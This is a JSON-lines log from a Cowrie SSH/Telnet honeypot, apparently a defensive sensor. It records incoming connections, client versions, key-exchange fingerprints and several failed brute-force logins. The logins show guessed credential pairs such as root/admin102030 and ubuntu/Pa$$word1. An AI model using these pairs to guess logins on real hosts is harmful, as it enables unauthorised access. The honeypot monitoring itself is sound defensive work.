{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.320812Z","src_ip":"20.203.42.204","session":"ae89eacf8aa2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.487172Z","src_ip":"20.203.42.204","session":"ae89eacf8aa2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":40076,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b5d69ebcc2a","protocol":"ssh","message":"New connection: 172.185.24.228:40076 (10.17.0.5:22) [session: 4b5d69ebcc2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.645881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.652377Z","src_ip":"172.185.24.228","session":"4b5d69ebcc2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:07.726135Z","src_ip":"172.185.24.228","session":"4b5d69ebcc2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin102030","message":"login attempt [root/admin102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:08.049174Z","src_ip":"172.185.24.228","session":"4b5d69ebcc2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$word1","message":"login attempt [ubuntu/Pa$$word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:08.183888Z","src_ip":"20.203.42.204","session":"ae89eacf8aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:09.133258Z","src_ip":"172.185.24.228","session":"4b5d69ebcc2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:09.353517Z","src_ip":"20.203.42.204","session":"ae89eacf8aa2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.30814838409424,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:12.007946Z","src_ip":"62.210.97.77","session":"8685d7d0fd2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.67887854576111,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:17.135100Z","src_ip":"192.211.53.160","session":"49a01397ecaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.27896070480347,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:18.238543Z","src_ip":"65.60.27.33","session":"f9d725c6e69f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84103846549988,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:27.801402Z","src_ip":"192.211.53.160","session":"debaef528860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55013966560364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:35.886374Z","src_ip":"62.210.97.77","session":"d9a5aef7cea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"15e943bf1676","protocol":"telnet","message":"New connection: 38.54.119.93:42628 (10.17.0.5:23) [session: 15e943bf1676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:34:36.699057Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":39848,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e4c9e1b4861","protocol":"telnet","message":"New connection: 62.210.97.77:39848 (10.17.0.5:23) [session: 4e4c9e1b4861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:00.543756Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":36714,"dst_ip":"10.17.0.5","dst_port":23,"session":"e043d8611810","protocol":"telnet","message":"New connection: 38.54.119.93:36714 (10.17.0.5:23) [session: e043d8611810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:09.758593Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":52574,"dst_ip":"159.203.135.109","dst_port":22,"session":"2da10fd414db","protocol":"ssh","message":"New connection: 61.72.55.130:52574 (159.203.135.109:22) [session: 2da10fd414db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:16.783184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:16.788435Z","src_ip":"61.72.55.130","session":"2da10fd414db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:16.991392Z","src_ip":"61.72.55.130","session":"2da10fd414db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.621449708938599,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:17.379949Z","src_ip":"38.54.119.93","session":"e043d8611810","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123","message":"login attempt [vncuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:17.829316Z","src_ip":"61.72.55.130","session":"2da10fd414db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:19.036417Z","src_ip":"61.72.55.130","session":"2da10fd414db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed2ef6078f6","protocol":"telnet","message":"New connection: 65.60.27.33:58152 (10.17.0.5:23) [session: 1ed2ef6078f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:29.479801Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60752,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a9e4d5b2f1c","protocol":"telnet","message":"New connection: 65.60.27.33:60752 (10.17.0.5:23) [session: 5a9e4d5b2f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:31.741853Z"}
{"eventid":"cowrie.session.closed","duration":32.61751461029053,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:33.161171Z","src_ip":"62.210.97.77","session":"4e4c9e1b4861","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":51914,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fc20051938e","protocol":"ssh","message":"New connection: 20.203.42.204:51914 (159.203.135.109:22) [session: 9fc20051938e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:52.258076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:52.263069Z","src_ip":"20.203.42.204","session":"9fc20051938e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:52.429965Z","src_ip":"20.203.42.204","session":"9fc20051938e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36356,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a747cad364","protocol":"telnet","message":"New connection: 165.232.131.181:36356 (10.17.0.5:23) [session: c6a747cad364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:52.936240Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qw12QW!@","message":"login attempt [ubuntu/qw12QW!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:53.125489Z","src_ip":"20.203.42.204","session":"9fc20051938e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":36820,"dst_ip":"10.17.0.5","dst_port":23,"session":"31fafd96b6c3","protocol":"telnet","message":"New connection: 165.232.131.181:36820 (10.17.0.5:23) [session: 31fafd96b6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:53.687701Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:54.294258Z","src_ip":"20.203.42.204","session":"9fc20051938e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.9514756202697754,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:56.639030Z","src_ip":"165.232.131.181","session":"31fafd96b6c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37654,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7806398324d","protocol":"telnet","message":"New connection: 38.54.119.93:37654 (10.17.0.5:23) [session: e7806398324d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:35:57.211708Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33154,"dst_ip":"10.17.0.5","dst_port":23,"session":"89ea81113dd7","protocol":"telnet","message":"New connection: 65.60.27.33:33154 (10.17.0.5:23) [session: 89ea81113dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:02.121246Z"}
{"eventid":"cowrie.session.closed","duration":34.74346899986267,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:04.223146Z","src_ip":"65.60.27.33","session":"1ed2ef6078f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":53236,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7bbbccd7c4","protocol":"ssh","message":"New connection: 80.94.92.182:53236 (159.203.135.109:22) [session: da7bbbccd7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:05.572063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:05.675548Z","src_ip":"80.94.92.182","session":"da7bbbccd7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:05.823558Z","src_ip":"80.94.92.182","session":"da7bbbccd7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"!@#$%^","message":"login attempt [solana/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:06.376112Z","src_ip":"80.94.92.182","session":"da7bbbccd7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:07.704097Z","src_ip":"80.94.92.182","session":"da7bbbccd7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.90168023109436,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:13.643435Z","src_ip":"65.60.27.33","session":"5a9e4d5b2f1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":39604,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89f19379c23","protocol":"ssh","message":"New connection: 61.72.55.130:39604 (159.203.135.109:22) [session: c89f19379c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:17.649856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:17.654129Z","src_ip":"61.72.55.130","session":"c89f19379c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:17.856388Z","src_ip":"61.72.55.130","session":"c89f19379c23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpadmin","password":"123123","message":"login attempt [ftpadmin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:18.695346Z","src_ip":"61.72.55.130","session":"c89f19379c23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:19.901855Z","src_ip":"61.72.55.130","session":"c89f19379c23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":53200,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe136c16ec5f","protocol":"telnet","message":"New connection: 192.211.53.160:53200 (159.203.135.109:23) [session: fe136c16ec5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:24.694808Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":58330,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c7c466c28f","protocol":"telnet","message":"New connection: 62.210.97.77:58330 (10.17.0.5:23) [session: 53c7c466c28f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:28.955556Z"}
{"eventid":"cowrie.session.closed","duration":42.62777042388916,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:35.563834Z","src_ip":"165.232.131.181","session":"c6a747cad364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"4765722d1576","protocol":"telnet","message":"New connection: 165.232.131.181:50844 (10.17.0.5:23) [session: 4765722d1576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:35.904207Z"}
{"eventid":"cowrie.session.closed","duration":120.00156760215759,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:36.700489Z","src_ip":"38.54.119.93","session":"15e943bf1676","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.40183925628662,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:41.613456Z","src_ip":"38.54.119.93","session":"e7806398324d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.88298034667969,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:36:47.004087Z","src_ip":"65.60.27.33","session":"89ea81113dd7","protocol":"telnet"}
